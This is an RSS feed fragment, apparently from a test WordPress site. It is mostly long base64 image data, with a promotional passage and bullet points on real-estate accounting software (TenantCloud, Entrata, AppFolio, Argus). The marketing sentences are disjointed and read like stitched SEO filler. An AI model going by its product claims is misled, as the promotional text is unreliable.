K8zTNLg9r2oc0zUEWJgqJTUrdTfU3IaKgVGhqlEhr3tTU3IcStzUxTVALg+Vei5PlU6ihwZX0qh9bPl9/41764fAff+NTqRHZs3n1YdZy7RDdylHUYSdySjAcllYe0jY+uQVOOODz2B0jvmnsiIplKJcwTShHDI6I4LN7PAqAe1x9qI+VcmeuHwH3/jVz6NdKZ7Vy8RUblKupBKSKQRtdQRkccg5BB5EVRsuRehKSO2bGbeN8jIkcZLFxkLyIDe0Ac8TgAZJqHo3eiXe6rtUbwqn6Qjwyjd+kzYdvAtjjjNcs3PXZfMioI7ZQowNschI4YGC0rYx5Y51N6P9el/bghUtnznjJHJnj+pKo+6rsql3sVpo7kt/qDyA/4c/uqRqdsGB8wa5ET0otTBB7Cw4Z/xVx38P84qJ/Sk1Q/4iw5Y/wAFcf8AU1V2iIOu+hLEu+7hJHsxnvjK+yP576yy2uw8rEcokAP6xyT9wFcK2/pQamrs4gsMsAD+auMYHIf94qpsfSt1WMOBb6f+cOSTFcZ5AYGLkcOH3mpjVSIludz2abiWNVcijh3Acf58q4Zi9L7VwMC203/Y3X/VVEfTA1f/ADbTf9jdf9VVfbRKNLO4Ltsrjvbhn9/yqXKozj6o4VxC/pfauSD6vp3DP+Jucce//vXOoZPS71Y/+H04e6G5/wCqqntok2O1EIJLdwO0e/kx92eHwNUPTDR+2heMc2XK8ce0pDLx7skYz51xqPS11bAHq+nYH/lXPjn/ADqpknpd6sedvp3+xuf+qo6sWVLY6R6vYYbYBfaCPudXlzuU7iZEkPCNGSRipyF45HdWy4CpGeBBHDHI+6uE7r0pNUY57CwUgkgrFcAgkYJH/afecHOcnPOpcfpP6mvFILCNuZMcVwoc+LoLjsiT47PlVCqJFUmmd6pHU7Z4cK4VHpbat/m+n+/srnj8rnHyqcvpf6v/AJvp3+xuf+qqrtYlB3EHPfXjvXDzel/q/wDm2m/7G6/6qoP77vV/8307/ZXP/VVPaxFjt6STw+VUcp8PlXFT+lvqx/8AD6d/srn/AKqoX9LTVj/4fTvf2Vz/ANTTtYko5+pSlYoFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKA//Z" width="252px" alt="accounting software for real estate developers"/></p>
<p><p>Using generic accounting software for real estate projects is like trying to squeeze a square peg into a round hole. You can make it work but it’s not going to be pretty and it&#8217;s definitely not efficient. Generate detailed reports that give you a clear picture of your project’s financial performance. Whether tracking profitability, construction progress, or budget variances, our reports provide actionable insights. Consolidates financial data across entities while maintaining separate records, enabling real-time visibility into overall and entity-specific performance. For Finance teams, our&nbsp;AI-enhanced accounts payable automation solutions help you transform the way you receive, manage, and pay your bills by increasing efficiency, visibility, and control.</p>
</p>
<ul>
<li>Property managers can follow every transaction, from payments made by residents to refunds, ensuring no details are missed.</li>
<li>Without proper accounting, it is easy to lose track of expenses, miss payments, or make poor investment decisions.</li>
<li>TenantCloud streamlines operations for landlords, property managers, and tenants.</li>
<li>Ensure the accounting software integrates well with existing tools, such as customer relationship management (CRM) and property management systems, to streamline workflows.</li>
<li>However, it’s definitely on the pricey end if you have fewer than around 200 properties.</li>
<li>Entrata&#8217;s latest release introduces powerful new functionality across the operating system.</li>
</ul>
]]></content:encoded>
					
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			</item>
		<item>
		<title>AppFolio: Move Beyond Property Management Software</title>
		<link>https://psp-wp-test.objectsdev.com/appfolio-move-beyond-property-management-software-12/</link>
					<comments>https://psp-wp-test.objectsdev.com/appfolio-move-beyond-property-management-software-12/#respond</comments>
		
		<dc:creator><![CDATA[olaadmin]]></dc:creator>
		<pubDate>Thu, 09 Jul 2020 14:55:39 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=862284</guid>

					<description><![CDATA[After analyzing 19 options, I’ve shorted the following top 13 real estate accounting software considering the key features, integrations, and pricing. Argus Enterprise provides advanced financial modeling, cash flow forecasting, and portfolio valuation for commercial real estate. Most real estate businesses use cash accounting, which means that income and expenses are only recorded when money [&#8230;]]]></description>
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